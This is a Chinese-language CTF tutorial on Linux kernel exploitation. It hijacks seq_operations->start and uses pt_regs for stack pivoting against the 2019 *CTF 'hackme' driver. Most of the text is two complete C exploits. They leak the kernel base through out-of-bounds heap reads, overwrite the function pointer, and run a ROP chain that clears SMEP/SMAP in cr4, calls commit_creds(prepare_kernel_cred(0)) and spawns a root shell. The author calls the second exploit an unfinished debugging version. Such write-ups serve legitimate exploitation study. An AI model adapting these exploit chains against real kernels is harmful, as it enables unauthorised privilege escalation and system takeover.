kernel利用pt regs劫持seq operations的迁移过程详解

发布时间：2024-12-12 13:01

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体，在打开/proc/self/stat会申请出来。里面定义了四个函数指针，通过他们可以泄露出内核基地址。

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时，内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针，我们只需覆盖start指针为特定gadget，即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	\"mov user_cs, cs;\"
	\"mov user_ss, ss;\"
	\"mov user_sp, rsp;\"
	\"pushf;\"
	\"pop user_rflags;\"
	);
	puts(\"[+] save the state success!\");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts(\"[+] get root\");
		//system(\"/bin/sh\");
		char *shell = \"/bin/sh\";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts(\"[-] get shell error\");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open(\"/dev/hackme\",0);
	if(fd < 0)
	{
		puts(\"[-] open file error\");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	add(2, 0x20, buf); // 2
	add(3, 0x20, buf); // 3
	delete(0);
	delete(2);
	int fd_seq = open(\"/proc/self/stat\", 0);
	if(fd_seq < 0)
	{
		puts(\"[-] open stat error\");
		exit(0);
	}
	show(3, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf(\"[+] vmlinux_base=> 0x%lx\\n\", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	show(1, 0x20, -0x20, buf);
	heap_base = ((size_t *)buf)[0] - 0x80;
	printf(\"[+] heap_base=> 0x%lx\\n\", heap_base);
	i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
	edit(3, 0x20, -0x20, buf);
	size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
	size_t mmap_base = fake_stack & 0xfffff000;
	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
		{
			puts(\"[-] mmap error\");
			sleep(3);
			exit(0);
		}
	else
		puts(\"[+] mmap success\");
	memcpy((void *)fake_stack, rop, sizeof(rop));
	read(fd_seq, buf, 1);
	return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流，再通过将寄存器押上栈进行ROP

	__asm__(
	\"mov r15, 0x1111111111;\"
	\"mov r14, 0x2222222222;\"
	\"mov r13, 0x3333333333;\"
	\"mov r12, 0x4444444444;\"
	\"mov rbp, 0x5555555555;\"
	\"mov rbx, 0x6666666666;\"
	\"mov r11, 0x7777777777;\"
	\"mov r10, 0x8888888888;\"
	\"mov r9,  0x9999999999;\"
	\"mov r8,  0xaaaaaaaaaa;\"
	\"mov rcx, 0x666666;\"
	\"mov rdx, 8;\"
	\"mov rsi, rsp;\"
	\"mov rdi, fd_seq;\"
	\"xor rax, rax;\"
	\"syscall\"
	);

这是为什么呢？大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程，通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令：

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙，他会把所有的寄存器压到栈上形成一个pt_regs结构体，位于内核栈底。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren\'t saved on kernel entry
 * unless syscall needs a complete, fully filled \"struct pt_regs\".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it\'s IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上，如果我们可以合理控制好这些寄存器的值，再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置，那么就可以控制程序执行流，考虑到一般这里栈上连续存放的寄存器一般只有4-5个，我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL))，布局如下：

pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;，故就留一个调试半成品exp

exp2:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	\"mov user_cs, cs;\"
	\"mov user_ss, ss;\"
	\"mov user_sp, rsp;\"
	\"pushf;\"
	\"pop user_rflags;\"
	);
	puts(\"[+] save the state success!\");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts(\"[+] get root\");
		//system(\"/bin/sh\");
		char *shell = \"/bin/sh\";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts(\"[-] get shell error\");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open(\"/dev/hackme\",0);
	if(fd < 0)
	{
		puts(\"[-] open file error\");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	delete(0);
	fd_seq = open(\"/proc/self/stat\", 0);
	if(fd_seq < 0)
	{
		puts(\"[-] open stat error\");
		exit(0);
	}
	show(1, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf(\"[+] vmlinux_base=> 0x%lx\\n\", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
	((size_t *)buf)[0] = gadget;
	edit(1, 0x20, -0x20, buf);
	__asm__(
	\"mov r15, 0x1111111111;\"
	\"mov r14, 0x2222222222;\"
	\"mov r13, 0x3333333333;\"
	\"mov r12, 0x4444444444;\"
	\"mov rbp, 0x5555555555;\"
	\"mov rbx, 0x6666666666;\"
	\"mov r11, 0x7777777777;\"
	\"mov r10, 0x8888888888;\"
	\"mov r9,  0x9999999999;\"
	\"mov r8,  0xaaaaaaaaaa;\"
	\"mov rcx, 0x666666;\"
	\"mov rdx, 8;\"
	\"mov rsi, rsp;\"
	\"mov rdi, fd_seq;\"
	\"xor rax, rax;\"
	\"syscall\"
	);
	return 0;
}

以上就是kernel利用pt_regs劫持seq_operations的迁移过程详解的详细内容，更多关于kernel劫持迁移的资料请关注脚本之家其它相关文章！

kernel利用pt regs劫持seq operations的迁移过程详解

目录

劫持seq_operations进行栈迁移

exp1

利用pt_regs

exp2:

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